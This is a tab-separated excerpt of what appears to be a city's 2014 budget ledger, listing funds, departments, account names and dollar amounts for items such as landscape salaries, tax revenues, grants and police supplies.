12767	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2267.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2267.0
12768	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	18890.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18890.0
12769	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	133125.0	0	0	0	0	0	0.0	0	0	0	0	0.0	133125.0
12770	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544200.0	SPORTS SUPPLIES	808.0	 Supplies and Expenses	2014	30362.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30362.0
12771	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	588500.0	MISCELLANEOUS EQUIPMENT	808.0	 Supplies and Expenses	2014	5227.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5227.0
12772	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	597.0	0	0	0	0	0	79.0	0	0	0	0	0.0	676.0
12773	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	320501.0	0	0	0	0	0	8333.33	0	0	0	0	0.0	328834.33
12774	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2014	150675.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150675.0
12775	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2014	8325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8325.0
12776	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2014	61374.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61374.0
12777	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	808.0	 Supplies and Expenses	2014	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
12778	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400480.0	SALES TAX IN-LIEU	604.0	Sales Tax	2014	-8810690.0	0	0	0	0	0	-202656.0	0	0	0	0	0.0	-9013346.0
12779	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405100.0	PARKING FACILITY TAX	606.0	Other Local Taxes	2014	-10600000.0	0	0	0	0	0	-400000.0	0	0	0	0	0.0	-11000000.0
12780	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	513.0	0	0	0	0	0	0.0	0	0	0	0	0.0	513.0
12781	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522920.0	VEHICLES - REPAIRS	810.0	 Supplies and Expenses	2014	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
12782	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579007.0	DISCRET-ORD ELECTION FEES	804.0	 Supplies and Expenses	2014	6500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6500.0
12783	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	29779.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29779.0
12784	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	115.0	0	0	0	0	0	0.0	0	0	0	0	0.0	115.0
12785	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	450.0
12786	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	410090.0	HOUSEHOLD HAZARDOUS WASTE GRAN	610.0	Intergovernmental	2014	0.0	0	0	0	-48278	0	0.0	0	0	0	0	0.0	-48278.0
12787	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522350.0	LOS AMIGOS MWD GRANT 2013	808.0	 Supplies and Expenses	2014	0.0	0	0	0	400000	0	0.0	0	0	0	0	0.0	400000.0
12788	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408590.0	SA COLLECTIVE BARGAINING COSTS	622.0	Other	2014	-312400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-312400.0
12789	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563160.0	WISE FTA GRANT	810.0	 Supplies and Expenses	2014	133810.0	0	0	0	0	0	0.0	0	0	0	0	0.0	133810.0
12790	B1	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4000.0
12791	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579011.0	DISCRET-SAFE ROUTES	804.0	 Supplies and Expenses	2014	67771.0	0	0	0	0	0	0.0	0	0	0	0	0.0	67771.0
12792	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2014	8938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8938.0
12793	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2014	2698.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2698.0
12794	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555080.0	DEAD ANIMAL DISPOSAL	806.0	 Supplies and Expenses	2014	9738.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9738.0
12795	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	576514.0	OTS STEP GRANT 2014	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	15000	0.0	0	0	0	0	0.0	15000.0
12796	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	1607.0	0	0	0	0	0.0	1607.0
12797	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578842.0	JUSTICE ASSIST GRANT 2014	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	31585	0.0	0	0	0	0	0.0	31585.0
12798	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	0.0	0	0	0	268317	0	0.0	0	0	0	0	0.0	268317.0
12799	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2014	0.0	0	0	0	465	0	0.0	0	0	0	0	0.0	465.0
12800	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	0.0	0	0	0	-1537	0	0.0	0	0	0	0	0.0	-1537.0
12801	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406805.0	14 UASI GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	-278507	0	0.0	-278507.0
12802	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555406.0	14 UASI GRANT - POLICE	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	30000	0	0.0	30000.0
12803	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-35467	0	0	0	0.0	-35467.0
12804	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-31130	0	0	0	0.0	-31130.0
12805	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2014	0.0	0	0	0	0	0	0.0	-1200	0	0	0	0.0	-1200.0
12806	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2014	0.0	0	0	0	0	0	0.0	-4900	0	0	0	0.0	-4900.0
12807	B1	IS	4	Special Revenue Source Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	410070.0	OPEN SPACE CONTRIB	622.0	Other	2014	0.0	0	0	0	0	0	0.0	-207857	0	0	0	0.0	-207857.0
12808	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	409270.0	OZONE PARK KIWANIS DONATIONS	622.0	Other	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-50000.0	-50000.0
12809	B1	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	810.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-378.0	-378.0
12810	B1	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-27999.0	-27999.0
12811	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579015.0	DISCRET-OPA 4TH OF JULY PARADE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	5000.0	5000.0
12812	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579016.0	DISCRET-SOULSTICE FEST	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	4000.0	4000.0
12813	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533730.0	MOBILE DATA EQUIP & MAINT	806.0	 Supplies and Expenses	2014	69076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	69076.0
12814	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400080.0	HOME EXEMPT TAX RELIEF	602.0	Property Taxes	2014	-209052.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-209052.0
12815	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400130.0	TRANSIENT OCCUPANCY TAX	606.0	Other Local Taxes	2014	-46540000.0	0	0	0	0	0	-1305000.0	0	0	0	0	0.0	-47845000.0
12816	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400190.0	BUSINESS LICENSE TAXES	606.0	Other Local Taxes	2014	-29500000.0	0	0	0	0	0	-500000.0	0	0	0	0	0.0	-30000000.0
12817	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401420.0	TRANSACTION AND USE TAX	604.0	Sales Tax	2014	-15035683.0	0	0	0	0	0	-310884.0	0	0	0	0	0.0	-15346567.0
12818	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579003.0	DISCRET-CRADLE TO CAREER	804.0	 Supplies and Expenses	2014	77884.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77884.0
12819	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579009.0	DISCRET-WATER SUSTAIN	804.0	 Supplies and Expenses	2014	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
12820	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555398.0	12 UASI GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	247482	0	0	-30194.0	217288.0
12821	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	406854.0	OTS SOBRIETY CHECKPOINT 2013	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-35260.28	-35260.28
12822	B1	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2014	-30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30000.0
12823	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	545040.0	BLOOMBERG WELLBEING PROJECT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	794500	0	0.0	0	0	0	0	0.0	794500.0
12824	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	576530.0	TRANSFER TO 04 FUND	910.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	-3700000.0	0	0	0	0	3700000.0	0.0
12825	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	576530.0	TRANSFER FROM 01 FUND	908.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	3700000.0	0	0	0	0	-3700000.0	0.0
12826	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	403635.0	JUSTICE ASSIST GRANT 2013-OT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-29283.0	-29283.0
12827	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	65692.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65692.0
12828	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	12717.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12717.0
12829	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	410280.0	LOS AMIGOS MWD GRANT 2013	610.0	Intergovernmental	2014	0.0	0	0	0	-400000	0	0.0	0	0	0	0	0.0	-400000.0
12830	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2014	-128000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-128000.0
12831	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		REAL BEACH PKG STATE ITS	610.0	Intergovernmental	2014	0.0	0	0	-346500	0	0	0.0	0	0	0	0	0.0	-346500.0
12832	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2014	-245862.0	0	0	0	-30132	0	0.0	245862	0	0	0	0.0	-30132.0
12833	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405452.0	HBP- FHWA CAL INCLINE CONSTRUC	610.0	Intergovernmental	2014	-6833711.0	0	0	0	-514279	0	0.0	0	0	0	0	0.0	-7347990.0
12834	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404430.0	MAIN STREET PARKING LOTS	608.0	Licenses and Permits	2014	-1040400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1040400.0
12835	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570081.0	TRANSFER IN-WTR L-INCOME DISC		 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-20000.0	-20000.0
12836	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406806.0	14 UASI GRANT - POLICE	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	-30000	0	0.0	-30000.0
12837	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-123600	0	0	0	0.0	-123600.0
12838	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2014	0.0	0	0	0	0	0	0.0	-1300	0	0	0	0.0	-1300.0
12839	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-40659	0	0	0	0.0	-40659.0
12840	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-29056	0	0	0	0.0	-29056.0
12841	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-24937	0	0	0	0.0	-24937.0
12842	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-29038	0	0	0	0.0	-29038.0
12843	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	406041.0	ABC MINI GRANT PROGRAM 2014	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	-10700	0	0	0.0	-10700.0
12844	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	804.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	1854941.0	1854941.0
12845	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	60761.0	60761.0
12846	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	810.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-10478.0	-10478.0
12847	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-32550	0	0	0	0.0	-32550.0
12848	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-154800	0	0	0	0.0	-154800.0
12849	B1	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	8625.0	8625.0
12850	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	409340.0	LA COUNTY EPCR	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-87500.0	-87500.0
12851	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	5922.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5922.0
12852	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	236630.0	0	0	0	0	0	0.0	0	0	0	0	0.0	236630.0
12853	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	48418.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48418.0
12854	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	40141.0	0	0	0	0	0	6115.0	0	0	0	0	0.0	46256.0
12855	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	18129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18129.0
12856	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	1136319.0	0	0	0	0	0	37240.0	0	0	0	0	0.0	1173559.0
12857	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	66093.0	0	0	0	0	0	-31835.0	0	0	0	0	0.0	34258.0
12858	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	2640.0	0	0	0	0	0	108.33	0	0	0	0	0.0	2748.33
12859	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	5152.0	0	0	0	0	0	186.2	0	0	0	0	0.0	5338.2
12860	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	8505.0	0	0	0	0	0	294.2	0	0	0	0	0.0	8799.2
12861	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-COLO ESP	808.0	 Supplies and Expenses	2014	20500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20500.0
12862	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522160.0	TRANSFER STATION FEE	810.0	 Supplies and Expenses	2014	1216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1216.0
12863	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533220.0	BLDG / STRUCTURE MAINTENANCE	810.0	 Supplies and Expenses	2014	42598.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42598.0
12864	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT WISE	910.0	 Supplies and Expenses	2014	614000.0	0	0	-14000	0	0	0.0	0	0	0	0	0.0	600000.0
12865	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533720.0	RADIO EQUIP & MAINT	806.0	 Supplies and Expenses	2014	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
12866	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410060.0	COLORADO ESPLANADE CONTRIB	622.0	Other	2014	-708000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-708000.0
12867	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400010.0	PROPERTY TAXES - SECURED	602.0	Property Taxes	2014	-25230834.0	0	0	0	0	0	-205095.0	0	0	0	0	0.0	-25435929.0
12868	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400040.0	SUPPLEMENTAL PROPERTY TAX	602.0	Property Taxes	2014	-200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200000.0
12869	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400110.0	FRANCHISE TAX - MISCELLANEOUS	608.0	Licenses and Permits	2014	-20638.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20638.0
12870	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400140.0	UTILITIES USERS TAX	606.0	Other Local Taxes	2014	-32011000.0	0	0	0	0	0	-1245000.0	0	0	0	0	0.0	-33256000.0
12871	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406798.0	12 UASI GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	-247482	0	0	-398666.0	-646148.0
12872	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406799.0	13 UASI GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-752076.0	-752076.0
12873	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404330.0	KEN EDWARDS CENTER PARKING	608.0	Licenses and Permits	2014	-100000.0	0	0	0	0	0	80000.0	0	0	0	0	0.0	-20000.0
12874	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578311.0	FIRE REIMBURSEMENT	810.0	 Supplies and Expenses	2014	186000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	186000.0
12875	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	401830.0	VENDOR RENT	650.0	Charges for Service	2014	-238606.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-238606.0
12876	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	3687.0	0	0	0	0	61	0.0	0	0	0	0	0.0	3748.0
12877	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1524.0	0	0	0	0	21	0.0	0	0	0	0	0.0	1545.0
12878	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	408303.0	0	0	0	-189152	0	0.0	0	0	0	0	0.0	219151.0
12879	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	51800.0	0	0	0	-23350	0	0.0	0	0	0	0	0.0	28450.0
12880	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2014	10649.0	0	0	0	-4798	0	0.0	0	0	0	0	0.0	5851.0
12881	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2014	2988.0	0	0	0	-1344	0	0.0	0	0	0	0	0.0	1644.0
12882	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408000.0	INTERFUND SERVICES-FIRE	612.0	Charges for Service	2014	-186000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-186000.0
12883	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401381.0	DOG & CAT NEUTER DEPOSITS	612.0	Charges for Service	2014	-11930.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11930.0
12884	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2014	124705.0	0	0	0	0	0	0.0	0	0	0	0	0.0	124705.0
12885	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555340.0	DOG/CAT NEUTER SERVICES	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	20225.89	20225.89
12886	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544060.0	JAIL SUPPLIES	806.0	 Supplies and Expenses	2014	68480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	68480.0
